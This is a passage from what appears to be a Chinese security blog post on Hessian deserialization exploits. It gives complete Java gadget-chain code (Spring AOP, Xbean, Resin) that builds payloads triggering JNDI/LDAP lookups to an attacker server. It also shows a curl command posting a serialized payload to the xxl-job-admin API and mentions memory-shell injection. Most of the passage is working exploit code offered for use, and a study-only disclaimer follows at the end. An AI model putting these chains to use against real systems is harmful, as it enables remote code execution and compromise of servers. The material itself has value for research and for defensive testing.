// SimpleJndiBeanFactory beanFactory = (SimpleJndiBeanFactory) Class.forName(SimpleJndiBeanFactory).getDeclaredConstructor(new Class[]{}).newInstance();
beanFactory.setShareableResources(url);
String defaultBeanFactoryPointcutAdvisor = "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor";
Constructor<?> constructor = Class.forName(defaultBeanFactoryPointcutAdvisor).getDeclaredConstructor(new Class[]{});
DefaultBeanFactoryPointcutAdvisor advisor1 = (DefaultBeanFactoryPointcutAdvisor) constructor.newInstance();
advisor1.setAdviceBeanName(url);
advisor1.setBeanFactory(beanFactory);
AsyncAnnotationAdvisor advisor2 = new AsyncAnnotationAdvisor();
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource("1");
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource("2");
// 创建HashMap
HashMap hashMap = new HashMap();
hashMap.put(targetSource1, "111");
hashMap.put(targetSource2, "222");
String classname = "org.springframework.aop.target.HotSwappableTargetSource";
setFiled(classname, targetSource1, "target", advisor1);
setFiled(classname, targetSource2, "target", advisor2);
// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("AbstractBeanFactoryPointcutAdvisorHessian.bin");
Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(hashMap);
hessian2Output.close();
// 反序列化
FileInputStream fileInputStream = new FileInputStream("AbstractBeanFactoryPointcutAdvisorHessian.bin");
Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
}
public static void setFiled(String classname, Object o, String fieldname, Object value) throws Exception {
Class<?> aClass = Class.forName(classname);
Field field = aClass.getDeclaredField(fieldname);
field.setAccessible(true);
field.set(o, value);
}
}
spring PartiallyComparableAdvisorHolder
package com.study.deserialize.hessian;
import com.caucho.hessian.io.*;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.reflect.ReflectionFactory;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.HashSet;
public class PartiallyComparableAdvisorHolderHessian {
public static void main(String[] args) throws Exception {
// ldap url
String url = "ldap://127.0.0.1:1389/albtdj";
// 创建SimpleJndiBeanFactory
// String SimpleJndiBeanFactory = "org.springframework.jndi.support.SimpleJndiBeanFactory";
// Object simpleJndiBeanFactory = Class.forName(SimpleJndiBeanFactory).getDeclaredConstructor(new Class[]{}).newInstance();
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
// 可添加
// HashSet<String> set = new HashSet<>();
// set.add(url);
// setFiled(simpleJndiBeanFactory, "shareableResources", set);
// setFiled(simpleJndiBeanFactory.getJndiTemplate(), "logger", new NoOpLog());
// 创建BeanFactoryAspectInstanceFactory
// 触发SimpleJndiBeanFactory的getType方法
AspectInstanceFactory beanFactoryAspectInstanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFiled(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
setFiled(beanFactoryAspectInstanceFactory, "name", url);
// 创建AspectJAroundAdvice
// 触发BeanFactoryAspectInstanceFactory的getOrder方法
AbstractAspectJAdvice aspectJAroundAdvice = createWithoutConstructor(AspectJAroundAdvice.class);
setFiled(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);
// 创建AspectJPointcutAdvisor
// 触发AspectJAroundAdvice的getOrder方法
AspectJPointcutAdvisor aspectJPointcutAdvisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
setFiled(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);
// 创建PartiallyComparableAdvisorHolder
// 触发AspectJPointcutAdvisor的getOrder方法
String PartiallyComparableAdvisorHolder = "org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder";
Class<?> aClass = Class.forName(PartiallyComparableAdvisorHolder);
Object partially = createWithoutConstructor(aClass);
setFiled(partially, "advisor", aspectJPointcutAdvisor);
// 可以不使用HotSwappableTargetSource
// 创建HotSwappableTargetSource
// 触发PartiallyComparableAdvisorHolder的toString方法
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(partially);
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(new XString("aaa"));
// // 创建HashMap
// HashMap hashMap = new HashMap();
// hashMap.put(targetSource1, "111");
// hashMap.put(targetSource2, "222");
// 手动构造 HashMap
HashMap<Object, Object> hashMap = MapUtils.makeMap(targetSource1, "111", targetSource2, "222");
// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("PartiallyComparableAdvisorHolderHessian.bin");
Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(hashMap);
hessian2Output.close();
// 反序列化
FileInputStream fileInputStream = new FileInputStream("PartiallyComparableAdvisorHolderHessian.bin");
Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
}
public static void setFiled(Object o, String fieldname, Object value) throws Exception {
Field field = getField(o.getClass(), fieldname);
field.setAccessible(true);
field.set(o, value);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
return field;
} catch (NoSuchFieldException e) {
if (!clazz.getSuperclass().equals(Object.class)) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
}
Xbean
<!--Xbean-->
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.24</version>
</dependency>
package com.exploit.gui.hessian;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.xbean.naming.context.WritableContext;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.HashMap;
public class XbeanHessian {
public static void main(String[] args) throws Exception {
String refAddr = "ldap://127.0.0.1:1389/albtdj";
String refClassName = "test";
Reference ref = new Reference(refClassName, refClassName, refAddr);
WritableContext writableContext = new WritableContext();
// 创建ReadOnlyBinding对象
String classname = "org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding";
Object readOnlyBinding = Class.forName(classname).getDeclaredConstructor(String.class, Object.class, Context.class).newInstance("aaa", ref, writableContext);
// 创建XString
XString xString = new XString("bbb");
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(readOnlyBinding);
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(xString);
//创建HashMap
HashMap hashMap = new HashMap();
hashMap.put(targetSource1, "111");
hashMap.put(targetSource2, "222");
// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("XbeanHessian.bin");
Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(hashMap);
hessian2Output.close();
// 反序列化
FileInputStream fileInputStream = new FileInputStream("XbeanHessian.bin");
Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
}
}
Resin
<!--Resin-->
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.63</version>
</dependency>
package com.exploit.gui.hessian;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class ResinHessian {
public static void main(String[] args) throws Exception {
String refAddr = "ldap://127.0.0.1:1389/albtdj";
String refClassName = "test";
Reference ref = new Reference(refClassName, refClassName, refAddr);
Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
String classname = "javax.naming.NamingException";
setFiled(classname, cannotProceedException, "resolvedObj", ref);
// 创建ContinuationContext对象
Class<?> aClass = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
// 构造方法为protected修饰
constructor.setAccessible(true);
Context continuationContext = (Context) constructor.newInstance(cannotProceedException, new Hashtable<>());
// 创建QName
QName qName = new QName(continuationContext, "aaa", "bbb");
String str = unhash(qName.hashCode());
// 创建Xtring
XString xString = new XString(str);
// 创建HashMap
HashMap hashMap = new HashMap();
hashMap.put(qName, "111");
hashMap.put(xString, "222");
// 序列化
FileOutputStream fileOutputStream = new FileOutputStream("ResinHessian.bin");
Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(hashMap);
hessian2Output.close();
// 反序列化
FileInputStream fileInputStream = new FileInputStream("ResinHessian.bin");
Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
}
public static void setFiled(String classname, Object o, String fieldname, Object value) throws Exception {
Class<?> aClass = Class.forName(classname);
Field field = aClass.getDeclaredField(fieldname);
field.setAccessible(true);
field.set(o, value);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
}
0x05 工具自动化
在复现Hessian相关的漏洞时,使用代码生成经常会出现各种异常,还是决定将所有利用链封装成工具使用,目前集成了测试通过的一些利用链,后面会继续补全
工具支持输出base64、Hex以及导出序列化文件,以Rome链为例,在攻击载荷填入JNDI地址,导出序列化文件
使用Hessian反序列化hessian.ser,远程发送命令如下
curl -XPOST --data-binary @hessian.ser http://127.0.0.1:8080/xxl-job-admin/api -H "Content-Type:x-application/hessian"
当然也支持直接发送Http请求,这里使用xxl-job-admin api Hessian2反序列化漏洞为例,我们选择JDK原生利用链,恶意载荷使用JMG等工具生成内存马即可,这里使用Tomcat命令回显的payload,挂上代理
参考文章:
https://z3r4y.blog.csdn.net/article/details/136841234
https://blog.csdn.net/uuzeray/article/details/136641591
https://blog.csdn.net/weixin_43610673/article/details/128877353
https://goodapple.top/archives/1193
https://z3r4y.blog.csdn.net/article/details/136589322
https://mp.weixin.qq.com/s/stgMfuX77oiAFclHHXBwwA
https://www.cnblogs.com/LittleHann/p/17818994.html
https://xz.aliyun.com/news/13039
https://su18.org/post/hessian/
https://www.cnblogs.com/nice0e3/p/15692979.html
https://yzddmr6.com/posts/swinglazyvalue-in-webshell
https://cloud.tencent.com/developer/article/2318125
https://www.cnblogs.com/F12-blog/p/18129839
https://www.cnblogs.com/zhaojiatao/p/8908335.html
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)